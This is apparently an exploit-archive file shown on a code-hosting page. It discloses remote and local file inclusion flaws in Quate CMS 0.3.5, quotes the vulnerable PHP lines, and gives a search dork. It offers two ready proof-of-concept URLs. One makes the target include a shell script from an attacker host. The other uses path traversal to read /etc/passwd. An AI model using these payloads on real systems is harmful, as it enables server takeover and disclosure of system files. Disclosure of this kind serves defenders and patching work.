-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy path10058.txt
56 lines (28 loc) · 1.4 KB
/
10058.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerabilities
============================================================
########################################################################
#Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerability
#Download Script : http://quate.net/quatecms
#Dork : die("lamers attempt"); :P
########################################################################
#
#Vuln RFI : ./QuateCMS_035/admin/includes/header.php (line 27)
# <?php
# if ($bypass_restrict != 1) {
# require_once($secure_page_path. "includes/secure.php");
# }
# ?>
#PoC : http://[target]/[path]/admin/includes/header.php?secure_page_path=http://[attacker]/shell.txt???
#
#
#########################################################################
#
#Vuln LFI : ./QuateCMS_035/admin/includes/footer.php (line 4)
# <?PHP
# if ($not_logged_in != 1) {
# if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) {
# require_once("themes/" .$row_secure['account_theme']. "/footer.php");
# ?>
#PoC : http://[target]/[path]/admin/includes/footer.php?row_secure[account_theme]=../../../../../../etc/passwd%00
#
########################################################################